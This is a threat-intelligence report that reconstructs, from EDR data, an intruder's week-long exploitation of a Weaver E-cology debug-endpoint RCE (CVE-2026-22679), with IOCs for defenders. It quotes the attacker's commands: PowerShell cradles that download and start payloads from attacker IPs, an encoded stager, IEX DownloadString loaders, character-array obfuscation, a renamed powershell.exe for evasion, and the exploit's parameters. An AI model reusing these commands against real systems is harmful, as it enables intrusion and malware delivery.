Ping, Payload, PowerShell: Active Exploitation of CVE-2026-22679 in Weaver E-cology

Overview

The Vega Threat Research team identified active exploitation of CVE-2026-22679 - a critical unauthenticated remote code execution (RCE) in the Office Automation and Collaboration platform Weaver E-cology, reachable through an exposed debug endpoint. Our earliest evidence on a compromised host is 2026-03-17, 14 days before Shadowserver’s first public in-the-wild report on 2026-03-31, and 5 days after the vendor patch shipped on 2026-03-12.

The intrusion unfolded over roughly a week of operator activity: RCE verification, three failed payload drops, an attempted pivot to an MSI implant that did not produce a working install, and a short burst of attempts to retrieve PowerShell payloads from attacker-controlled infrastructure. While public coverage of this CVE has so far been limited to advisories, this report outlines a real-world exploitation and post-compromise behavior on a victim host.

Vulnerability at a glance

CVE-2026-22679 (CVSS 9.8) is an unauthenticated RCE in Weaver (Fanwei) E-cology 10.0 builds prior to 20260312, in the endpoint POST /papi/esearch/data/devops/dubboApi/debug/method. The vulnerability lies in a debug interface left accessible in production builds: attacker-controlled interfaceName and methodName JSON parameters reach the Dubbo RPC invoker and resolve into command-execution helpers that pass input straight to the OS - with no authentication or input validation.

The public POC reaches host-level command execution via interfaceName: "com.weaver.rpc.InvokeCommand" + methodName: "executeCommand". Every attacker process we observed is parented by java.exe (Weaver’s Tomcat-bundled Java Virtual Machine), with no preceding authentication. The vendor fix (build 20260312) removes the debug endpoint entirely and shipped on 2026-03-12, five days before the activity in this report began. According to the Shadowserver Foundation, public in-the-wild observations were first reported on 2026-03-31, 14 days after our earliest evidence.

Reconstructing the Attack with EDR data

An internet-reachable Windows host running an unpatched Weaver E-cology 10.0 build provided a clear window into exploitation and follow-on activity for CVE-2026-22679. The EDR telemetry captures roughly a week of operator behavior, from initial vulnerability probing through discovery, payload delivery attempts, evasion, and repeated remote script retrieval.

Key observations:

• Reconnaissance: Initial RCE verification via ping callbacks to a Goby attack-surface-mapping framework collector.
• Failed Executable Drops: Multiple PowerShell download cradles attempting to fetch EXE payloads (vsgbt.exe, hjchhb.exe), all quarantined by endpoint defenses.
• Masquerading: Encoded PowerShell downloading a remote file and writing it to disk as an executable (nvm.exe). Naming convention suggests an attempt to impersonate Node Version Manager. Also blocked on write.
• Target-Aware Payloads: Delivery of an MSI payload (fanwei0324.msi) named to reflect the target software (Weaver / Fanwei) and the attack date. Msiexec.exe launched but the install failed, with no child processes and no install actions.
• Process Name Evasion: Copying a legitimate Microsoft-signed powershell.exe to a text file (2.txt), likely to try and bypass process-name detections, and routing subsequent script retrieval calls through the renamed binary.
• Follow-on Script Retrieval: Repeated DownloadString fetches of remote PowerShell content through the renamed PowerShell interpreter.
• Obfuscation: Execution of obfuscated commands utilizing case randomization and character arrays.
• Discovery: whoami / ipconfig / tasklist run through the JVM RCE primitive throughout the campaign, with output returned via the debug endpoint’s HTTP response body - no persistent shell required.

Phase 1 - Knock-knock (RCE verification, 2026-03-17)

The earliest observed attacker activity occurred three days before payload delivery, when java.exe from the Weaver Tomcat JVM spawned three sequential ping.exe commands to a callback URL:

java.exe -> ping -n 1 http://152.32.173[.]138/<unique marker>
java.exe -> ping -n 1 http://152.32.173[.]138/<unique marker>
java.exe -> ping -n 1 http://152.32.173[.]138/<unique marker>

Although HTTP POST for /papi/esearch/data/devops/dubboApi/debug/method were not collected, the fact that the Weaver Tomcat JVM spawned ping.exe is strong evidence of command injection through the application. EDR network telemetry supports this: inbound HTTP traffic seemingly reached Weaver’s reverse proxy shortly before the first ping.exe execution. The ping commands would not have generated outbound ICMP traffic because the supplied URL is not a valid hostname. Instead, the attacker likely verified RCE through the HTTP response body: the Weaver Dubbo debug endpoint reflects failed command output, allowing the scanner to search the response for its unique marker token.

The callback infrastructure, 152.32.173[.]138, is linked to an attack-surface mapping and vulnerability-scanning framework called Goby. Public Goby-related writeups describe its vulnerability checks callback infrastructure, including gobygo.net, to determine whether a target interacted with a generated marker. Notably, Palo Alto also listed the same IP and gobygo[.]net in its February 2026 advisory on Ivanti EPMM exploitation, including sample callback URLs in the same /U<16hex>.<8hex> token format observed here.

This overlap should not be treated as actor attribution. Instead, it likely indicates use of Goby or Goby-associated callback infrastructure. The stronger host-level indicator is the process chain itself: java.exe -> ping.exe.

Phase 2 - Three stagers, three quarantines (2026-03-20 to 03-22)

Three days later, the operator tried to land real payloads, rotating through three stagers across three providers:

java.exe -> powershell (new-object system.net.webclient).downloadfile(
              'http://205.209.116.54:2013/vsgbt.exe','vsgbt.exe'); start-process vsgbt.exe

java.exe -> powershell (new-object system.net.webclient).downloadfile(
              'http://205.209.116.54:2013/hjchhb.exe','hjchhb.exe'); start-process hjchhb.exe

java.exe -> powershell -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUA...
            -> decoded: DownloadFile('http://161.132.49.114/config.js','$env:Public\nvm.exe');
                        Start-Process nvm.exe

The Base64 stager masquerades twice: on the wire as config.js (modern web development frameworks and tools frequently use this file format for customization); on disk as nvm.exe (impersonating Node Version Manager). Every Phase 2 payload - plus a hjchhb.exe retry on March 24th - was quarantined.

Phase 3 - MSI delivery attempt (2026-03-24)

Less than a day after the final hjchhb.exe quarantine, the operator changed delivery vehicles: instead of staging raw EXEs through PowerShell cradles, they attempted to deploy a Windows Installer package.

java.exe -> powershell -c (new-object System.Net.WebClient).DownloadFile(
              'http://141.11.89.42/fanwei0324.msi',
              'C:\ProgramData\fanwei0324.msi')

java.exe -> msiexec /i C:\ProgramData\fanwei0324.msi

The naming indicates target awareness. fanwei is the romanized Chinese name for Weaver / 泛微, and 0324 matches the attack date. The <product><MMDD>.msi pattern may also have allowed the operator to correlate delivery attempts by victim/product and day.

However, the MSI did not execute install actions. Host telemetry for msiexec.exe shows only process creation followed by a single NamedPipeEvent. After that, there is no evidence of installer execution, child process, and no install-action subprocesses. Additional host-based evidence suggests fanwei0324.msi was malformed or otherwise incompatible, and msiexec.exe exited before running meaningful install actions.

Urlscan submission for 141.11.89[.]42 shows the host was not dedicated to a single observed payload. Public submissions include both fanwei0324.msi and cmd0324.msi on the same host, each using the same 0324 suffix, suggesting payload naming was organized around function and date.

The operator then returned to the original RCE path and executed follow-on commands using a renamed PowerShell binary.

Phase 4 - Return to RCE, with evasion and script retrieval (2026-03-24)

Within hours of the failed MSI install, the operator returned to the original RCE path. The next process chain again originated from java.exe, not from msiexec.exe or any MSI-spawned child. The operator was re-invoking the Weaver JVM command-injection primitive directly, abandoning the MSI route.

Step 1 - Stage a renamed PowerShell interpreter

java.exe -> cmd /c copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 2.txt

2.txt is a copy of the legitimate Microsoft-signed Windows PowerShell. Renaming the binary is a defense-evasion technique aimed at detections keyed on powershell.exe as a process name. Every clear-text loader fetch later in this phase ran through 2.txt. The obfuscated command in Step 2 below still ran through the legitimate powershell.exe. Only Step 3 used the rename.

Step 2 - One layered, obfuscated PowerShell command

The operator issued the following command three times within a few minutes (partially decoded, truncated).

pOwErsHelL "" -NOprofIl -eXecUtIOnpOlIcY "" byPaSS -WIndo HiDden -Nonin -nolOgo "" ""
"INvoKe-eXpRESsiOn (-JOIN ((115,101,116,45,86,97,114,73,97,66,108,101, ...576 integers...)
| %{[cHaR][int]$_}))"

-> decoded:
IEX (New-Object Net.WebClient).DownloadString('http://132.243.172[.]2/config/xx.ps1')

The integer array also includes a known PowerShell evasion that builds the string iex indirectly via PowerShell’s variable-substring evasion, so the literal IEX never appears in the visible command line. EDR flagged each of the three executions as malicious and prevented the script from running. The operator did not get an in-memory script execution from this command line; they retried the identical command twice more and then pivoted back to the unobfuscated cradle in Step 3.

Step 3 - Clear-text loader fetches through the renamed binary

java.exe -> 2.txt IEX (New-Object Net.WebClient).DownloadString(
    'http://132.243.172.2/config/xx.ps1')

Three things stacked here: 2.txt is the renamed PowerShell interpreter from Step 1; DownloadString returns the script body in memory rather than to disk (fileless); IEX immediately executes that string. End-to-end: a renamed interpreter pulls a script over HTTP and runs it with no on-disk artifact.

The host issued repeated near-identical fetches of xx.ps1 within a short window, followed by a path rotation to http://132.243.172[.]2/w-2026/x.ps1, and we did not observe any post-loader process chain on the host that would prove the retrieved scripts ran.

Discovery, interleaved across all phases

Discovery commands ran throughout the campaign - not as a discrete phase. Every attacker-attributable discovery process is parented by java.exe, the same RCE primitive as Phase 1. There is no shell, no post-exploitation session, and no agent. The earliest whoami ran on 2026-03-19, the day before the first Phase 2 payload drop, and the operator continued to interleave whoami / ipconfig / tasklist with payload delivery, MSI staging, and the loader retrieval in Phase 4. Output returned through the same channel as Phase 1.

The dubboApi/debug/method endpoint is documented to reflect executed command stdout/stderr in the HTTP response body, so each discovery command behaves as a synchronous request/response: the JVM runs the command, captures the output, and returns it in the response. The operator never needed a persistent shell: the debug endpoint is the shell, with strict request/response semantics. This is also why payload delivery and discovery could happen concurrently: both are different POST bodies to the same endpoint.

IOCs

IPs

URLs

• http://205.209.116[.]54:2013/vsgbt.exe
• http://205.209.116[.]54:2013/hjchhb.exe
• http://161.132.49[.]114/config.js
• http://141.11.89[.]42/fanwei0324.msi
• http://132.243.172[.]2/config/xx.ps1
• http://132.243.172[.]2/w-2026/x.ps1
• http://152.32.173[.]138/U<16hex>.<8hex>

Hashes

Filenames

vsgbt.exe - hjchhb.exe - nvm.exe - fanwei0324.msi (泛微 + date) - 2.txt (renamed powershell.exe) - xx.ps1 - x.ps1